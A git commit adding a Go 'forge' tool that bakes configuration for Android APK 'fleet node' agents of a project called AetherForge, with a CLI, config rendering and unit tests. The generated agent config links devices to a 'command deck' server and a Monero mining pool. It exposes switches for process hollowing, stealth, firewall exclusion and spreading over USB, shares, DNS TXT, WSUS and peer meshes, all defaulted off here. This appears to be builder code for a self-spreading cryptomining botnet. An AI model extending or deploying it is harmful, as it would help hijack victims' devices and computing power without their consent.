Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
AetherForge
2026-06-07 02:44:29 -07:00
parent d9f36f182c
commit 50ebfe53cb
89 changed files with 2849 additions and 82 deletions

View File

@@ -0,0 +1,80 @@
// bake renders Android APK assets and agent builtin config for a forge run.
package main
import (
"flag"
"fmt"
"os"
"path/filepath"
"aetherforge-android-forge/internal/forge"
)
func main() {
worker := flag.String("worker", "", "agent worker name")
server := flag.String("server", "", "command deck URL (http/https)")
secret := flag.String("fleet-secret", "", "fleet secret (optional; prefer env AETHERFORGE_FLEET_SECRET)")
wallet := flag.String("wallet", "", "placeholder wallet (mining off by default)")
buildID := flag.String("build-id", "android-dev", "build id stamped into config")
configOut := flag.String("config-out", "", "write assets/config.json here")
builtinOut := flag.String("builtin-out", "", "write agent/config/builtin.go here")
flag.Parse()
cfg := forge.AndroidAgentDefaults()
if *worker != "" {
cfg.WorkerName = *worker
}
if *server != "" {
cfg.ServerURL = *server
}
if *secret != "" {
cfg.FleetSecret = *secret
} else if v := os.Getenv("AETHERFORGE_FLEET_SECRET"); v != "" {
cfg.FleetSecret = v
}
if *wallet != "" {
cfg.Wallet = *wallet
}
if *buildID != "" {
cfg.BuildID = *buildID
}
if *configOut != "" {
json, err := forge.RenderConfigJSON(cfg)
if err != nil {
exitErr(err)
}
if err := writeFile(*configOut, json); err != nil {
exitErr(err)
}
fmt.Fprintf(os.Stderr, "wrote %s\n", *configOut)
}
if *builtinOut != "" {
src, err := forge.RenderBuiltinGo(cfg)
if err != nil {
exitErr(err)
}
if err := writeFile(*builtinOut, src); err != nil {
exitErr(err)
}
fmt.Fprintf(os.Stderr, "wrote %s\n", *builtinOut)
}
if *configOut == "" && *builtinOut == "" {
fmt.Fprintln(os.Stderr, "specify -config-out and/or -builtin-out")
os.Exit(2)
}
}
func writeFile(path, body string) error {
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
return err
}
return os.WriteFile(path, []byte(body), 0644)
}
func exitErr(err error) {
fmt.Fprintf(os.Stderr, "bake error: %v\n", err)
os.Exit(1)
}

3
android/forge/go.mod Normal file
View File

@@ -0,0 +1,3 @@
module aetherforge-android-forge
go 1.26.3

View File

@@ -0,0 +1,140 @@
// Package forge renders Android agent APK bake-time configuration.
package forge
import (
"bytes"
"encoding/json"
"fmt"
"strings"
"time"
)
// BakeConfig holds values embedded at APK forge time.
type BakeConfig struct {
WorkerName string `json:"worker_name"`
ServerURL string `json:"server_url"`
FleetSecret string `json:"fleet_secret,omitempty"`
Wallet string `json:"wallet,omitempty"`
BuildID string `json:"build_id,omitempty"`
}
// AndroidAgentDefaults returns fleet-first defaults with mining off by default.
func AndroidAgentDefaults() BakeConfig {
return BakeConfig{
WorkerName: "android-fleet-node",
ServerURL: "http://127.0.0.1:8989",
Wallet: "android-node-no-pool",
BuildID: "android-dev",
}
}
// RenderConfigJSON produces assets/config.json content for the APK wrapper.
func RenderConfigJSON(cfg BakeConfig) (string, error) {
cfg = normalize(cfg)
out := map[string]any{
"worker_name": cfg.WorkerName,
"server_url": cfg.ServerURL,
"mining": map[string]any{
"enabled": false,
"mode": "idle",
"note": "CPU mining disabled by default; enable via server policy or re-forge.",
},
"fleet_secret_set": strings.TrimSpace(cfg.FleetSecret) != "",
"build_id": cfg.BuildID,
}
if cfg.FleetSecret != "" {
out["fleet_secret"] = cfg.FleetSecret
}
var buf bytes.Buffer
enc := json.NewEncoder(&buf)
enc.SetEscapeHTML(false)
enc.SetIndent("", " ")
if err := enc.Encode(out); err != nil {
return "", err
}
return strings.TrimSpace(buf.String()) + "\n", nil
}
// RenderBuiltinGo produces agent/config/builtin.go for the embedded linux/arm64 binary.
func RenderBuiltinGo(cfg BakeConfig) (string, error) {
cfg = normalize(cfg)
now := time.Now().UTC().Unix()
return fmt.Sprintf(`// Code generated by AetherForge Android forge — DO NOT EDIT
// Build ID: %s
package config
import "time"
func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
WorkerName: %q,
ServerURL: %q,
Wallet: %q,
Threads: 0,
ThreadMode: "percent",
ThreadPercent: 0,
CPUPriority: "idle",
MiningMode: "idle",
MinerExecution: "inprocess",
DisplayMode: "background",
SilentMode: false,
RunAs: "user",
AutoStart: false,
ProcessName: "aetherforge-agent",
BuildID: %q,
BuiltAt: time.Unix(%d, 0),
PoolHost: "pool.supportxmr.com",
PoolPort: 3333,
PoolTLS: false,
PoolPass: "x",
MaxCPUUsage: 0,
MaxMemoryPct: 50,
MinFreeRAM: 256,
IdleThresholdPct: 0,
IdleDurationMinutes: 60,
ScheduleStart: "00:00",
ScheduleEnd: "00:01",
InstallBase: "temp",
InstallRelativePath: "aetherforge-agent",
AdaptToHardware: true,
SelfHealing: false,
FileLogging: true,
StealthMode: false,
FirewallExclusion: false,
AIEnabled: false,
ProcessHollowing: false,
MeshP2P: false,
AutoSpread: false,
HolePunch: false,
RemoteAggressive: false,
USBSpread: false,
ShareSpread: false,
GPUEnabled: false,
FleetSecret: %q,
LotlOnionEnabled: false,
LotlPolicyFromServer: false,
DnsTxtSpread: false,
WebRTCMeshSpread: false,
WSUSCachePeerSpread: false,
}
}
`, cfg.BuildID, cfg.WorkerName, cfg.ServerURL, cfg.Wallet, cfg.BuildID, now, cfg.FleetSecret), nil
}
func normalize(cfg BakeConfig) BakeConfig {
def := AndroidAgentDefaults()
if strings.TrimSpace(cfg.WorkerName) == "" {
cfg.WorkerName = def.WorkerName
}
if strings.TrimSpace(cfg.ServerURL) == "" {
cfg.ServerURL = def.ServerURL
}
if strings.TrimSpace(cfg.Wallet) == "" {
cfg.Wallet = def.Wallet
}
if strings.TrimSpace(cfg.BuildID) == "" {
cfg.BuildID = def.BuildID
}
return cfg
}

View File

@@ -0,0 +1,78 @@
package forge
import (
"encoding/json"
"strings"
"testing"
)
func TestRenderConfigJSON(t *testing.T) {
cfg := BakeConfig{
WorkerName: "pixel-7",
ServerURL: "https://deck.example.com:8989",
FleetSecret: "test-secret",
BuildID: "apk-001",
}
raw, err := RenderConfigJSON(cfg)
if err != nil {
t.Fatal(err)
}
var doc map[string]any
if err := json.Unmarshal([]byte(raw), &doc); err != nil {
t.Fatalf("invalid json: %v\n%s", err, raw)
}
if doc["worker_name"] != "pixel-7" {
t.Fatalf("worker_name: %v", doc["worker_name"])
}
if doc["server_url"] != "https://deck.example.com:8989" {
t.Fatalf("server_url: %v", doc["server_url"])
}
mining, ok := doc["mining"].(map[string]any)
if !ok || mining["enabled"] != false {
t.Fatalf("mining should be disabled: %v", doc["mining"])
}
if doc["fleet_secret_set"] != true {
t.Fatalf("fleet_secret_set expected true")
}
}
func TestRenderBuiltinGo(t *testing.T) {
cfg := BakeConfig{
WorkerName: "tab-s9",
ServerURL: "http://10.0.0.5:8989",
FleetSecret: "fleet-key",
Wallet: "placeholder-wallet",
BuildID: "b-android",
}
src, err := RenderBuiltinGo(cfg)
if err != nil {
t.Fatal(err)
}
for _, needle := range []string{
`WorkerName: "tab-s9"`,
`ServerURL: "http://10.0.0.5:8989"`,
`FleetSecret: "fleet-key"`,
`MiningMode: "idle"`,
`IdleThresholdPct: 0`,
`AutoStart: false`,
`GPUEnabled: false`,
} {
if !strings.Contains(src, needle) {
t.Fatalf("missing %q in builtin.go:\n%s", needle, src)
}
}
}
func TestAndroidAgentDefaults(t *testing.T) {
def := AndroidAgentDefaults()
raw, err := RenderConfigJSON(def)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(raw, `"enabled": false`) {
t.Fatalf("expected mining disabled in json: %s", raw)
}
if !strings.Contains(raw, def.ServerURL) {
t.Fatalf("expected default server url in json: %s", raw)
}
}